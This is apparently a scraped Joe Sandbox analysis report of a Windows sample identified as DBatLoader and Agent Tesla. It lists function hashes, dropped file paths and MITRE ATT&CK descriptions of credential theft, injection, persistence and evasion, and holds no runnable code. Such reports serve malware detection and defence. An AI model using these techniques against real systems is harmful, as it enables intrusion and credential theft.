Snapshot File: hcaresult_25_2_d70000_neworigin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32a09be5069a7563a46ee2c1063318ab13482966799cc65da4181dfa4a41d2d2
Instruction ID: c758ae69941162c3407577888d8761ac4cc54771f2fc6e8789d4a8e327671b0e
Opcode Fuzzy Hash: 32a09be5069a7563a46ee2c1063318ab13482966799cc65da4181dfa4a41d2d2
Instruction Fuzzy Hash: 60410072D0035A9FDB14DFA9D8407EEBBF5EF89310F18856AD518A7240EB789845CBA0

Function 00D7EFE8 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 00D7F057

Memory Dump Source

Source File: 00000019.00000002.2433496043.0000000000D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_d70000_neworigin.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 82d0576193ed7c3fe2862dba73604e3eaf79fb7e9ffb37f75954ed089f71e962
Instruction ID: b60a75d94db6f4cca827d7eee1be663e7817fd50cfa402cb3e7fe53226a68cea
Opcode Fuzzy Hash: 82d0576193ed7c3fe2862dba73604e3eaf79fb7e9ffb37f75954ed089f71e962
Instruction Fuzzy Hash: 1E1114B1C0065ADFDB20DFAAC445BDEFBB4AF48310F15816AE818B7240D778A950CFA5

Function 066BB760 Relevance: .5, Instructions: 474COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2495719821.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_66b0000_neworigin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba277eae3dccbe8946dec09c44acddf18a1c883b0f0b01403ef1b0b905f802be
Instruction ID: 477462eb82cdd9ccd12763c6e50b3c234fafb725235348af794512f98d38fb5a
Opcode Fuzzy Hash: ba277eae3dccbe8946dec09c44acddf18a1c883b0f0b01403ef1b0b905f802be
Instruction Fuzzy Hash: 6C023830E0020ACFDBA4DF68D580AADB7B2FB85310F20992AD415DB355DF75E986CB91

Function 066B9250 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2495719821.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_66b0000_neworigin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6960cd1c228d143b0995d0b748c70476bc4c5e09d808e74ee1553e47657b114e
Instruction ID: 34604d05f5c9f2c1ee7e6e2dd16ccaad4f38df8ca9e0301b74b60fc9759bbbfe
Opcode Fuzzy Hash: 6960cd1c228d143b0995d0b748c70476bc4c5e09d808e74ee1553e47657b114e
Instruction Fuzzy Hash: 30914F30F1025ACFDB94DB64D9507AEB3F6AF85300F108669C90AEB744EF709D868B95

Function 066B62E8 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2495719821.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_66b0000_neworigin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48fcc1f4b7db575cf25022d04574f2bfb501710d1cffb40a5c251d7ad4fb0b75
Instruction ID: 916d73dc03464505c922228fa51855d6434f7ae706c9e3e46d5ad311a980fda2
Opcode Fuzzy Hash: 48fcc1f4b7db575cf25022d04574f2bfb501710d1cffb40a5c251d7ad4fb0b75
Instruction Fuzzy Hash: 7A61E271F004228BDF509A7EC884AAFBAD7AFC4620F15503AD80ADB3A0DE65DD4287C5

Function 066B46D8 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2495719821.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_66b0000_neworigin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e9bc35e7fbac9d6630245b9ae5f8ab4ba9f8d0eef28af4e8fe248c2d91f3fbb
Instruction ID: 5630ca1e7fb4ff91d56606c6aa99f10f84b66ee255b7dd38163fc58fb11fe643
Opcode Fuzzy Hash: 8e9bc35e7fbac9d6630245b9ae5f8ab4ba9f8d0eef28af4e8fe248c2d91f3fbb
Instruction Fuzzy Hash: 09913B30E10619CBDB60DF68C890BD9B7B1FF89310F208699D549AB356DB71AA85CB90

Function 066B46F0 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2495719821.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_66b0000_neworigin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95b29324d205cc3bd2202f42234d20e2ffd0717052a300d31adbb5fde5188550
Instruction ID: b21bd0c745740d111d6dd4c7b5fca87b794dc557b4d340f5ab2c98574e95857d
Opcode Fuzzy Hash: 95b29324d205cc3bd2202f42234d20e2ffd0717052a300d31adbb5fde5188550
Instruction Fuzzy Hash: 71911830E1061ACBDB60DF68C890BDDB7B1FF89310F208699D549AB345DB71AA85CF90

Function 066BFB58 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2495719821.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_66b0000_neworigin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98dec1bb6c4215707340073cee0d42d2ca809673c89771992e62d34b75eccc01
Instruction ID: e277fd7021e3b3fdd40d48f972d3f4008db49f4cd7d1fea93b028155c5f5c35b
Opcode Fuzzy Hash: 98dec1bb6c4215707340073cee0d42d2ca809673c89771992e62d34b75eccc01
Instruction Fuzzy Hash: E751E234B20145CFFF646668DD64BAF365AE789340F20552AE50AD37A9CA38CCC143A2

Function 066BFB68 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2495719821.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_66b0000_neworigin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23351ec0dc7d6b8cb6bdcf18ce105348723e5a521c8a00c78453a23e2a93ee27
Instruction ID: d6ae7ee8d1577c865f7f702d50d06615e9be363ce2b805d9ba70fc2e22b3dfa0
Opcode Fuzzy Hash: 23351ec0dc7d6b8cb6bdcf18ce105348723e5a521c8a00c78453a23e2a93ee27
Instruction Fuzzy Hash: EE51C134B20105DBFF646668DD64B6F365EE789750F20542AE50AD37A9CA78CCC143E2

Function 066B9241 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2495719821.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_66b0000_neworigin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8c69fad23b7e6197d7c6ef3e1201ddb9863ba0ae8b81e8e6cf6c1e5a56eddbd
Instruction ID: 7102d5206364c9fc287f37a203562bcc36cd777b8ec29fe1454ac0a2e63fc539
Opcode Fuzzy Hash: a8c69fad23b7e6197d7c6ef3e1201ddb9863ba0ae8b81e8e6cf6c1e5a56eddbd
Instruction Fuzzy Hash: E9513C30B11246DFDB94EB74D990BAE73F6EF89300F10856AC90ADB744EA709C52CB95

Function 066BF2C1 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2495719821.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_66b0000_neworigin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70e3e0b12f4ff9b775f8e64c01806fb4492f47f0cebd392089a7ba718a7a1756
Instruction ID: 52812e0f8b0ba418c2ab72801ce9da203d88dc9445aacef8dabc07557b5551e4
Opcode Fuzzy Hash: 70e3e0b12f4ff9b775f8e64c01806fb4492f47f0cebd392089a7ba718a7a1756
Instruction Fuzzy Hash: 96012831B045414FCB719ABCE894B6EB7D6DBCA714F145429E90AC7351DA35DC428386

Function 066BF2D0 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2495719821.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_66b0000_neworigin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2598ce51fce8ee14dee6ec89b987360d60ff101085893cafff6dd834eb150cab
Instruction ID: 2aaf8e02ad9c19794839035a0eec3ab9155baf4e9f14ffd98d2457a4ef79458f
Opcode Fuzzy Hash: 2598ce51fce8ee14dee6ec89b987360d60ff101085893cafff6dd834eb150cab
Instruction Fuzzy Hash: 65018135B005114BDBA495ADE85476EB3DADBC9710F109439E60AC7350EA35DC824385

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report x.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DBatLoader

Threatname: Agenttesla

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

C:\Users\Public\Libraries\PNO

C:\Users\Public\Libraries\Wisrysxl

C:\Users\Public\Libraries\Wisrysxl.PIF

C:\Users\Public\Libraries\lxsyrsiW.cmd

C:\Users\Public\Libraries\lxsyrsiW.pif

C:\Users\Public\Wisrysxl.url

C:\Users\Public\alpha.pif

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\TrojanAIbot.exe.log

Windows Analysis Report
x.exe

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre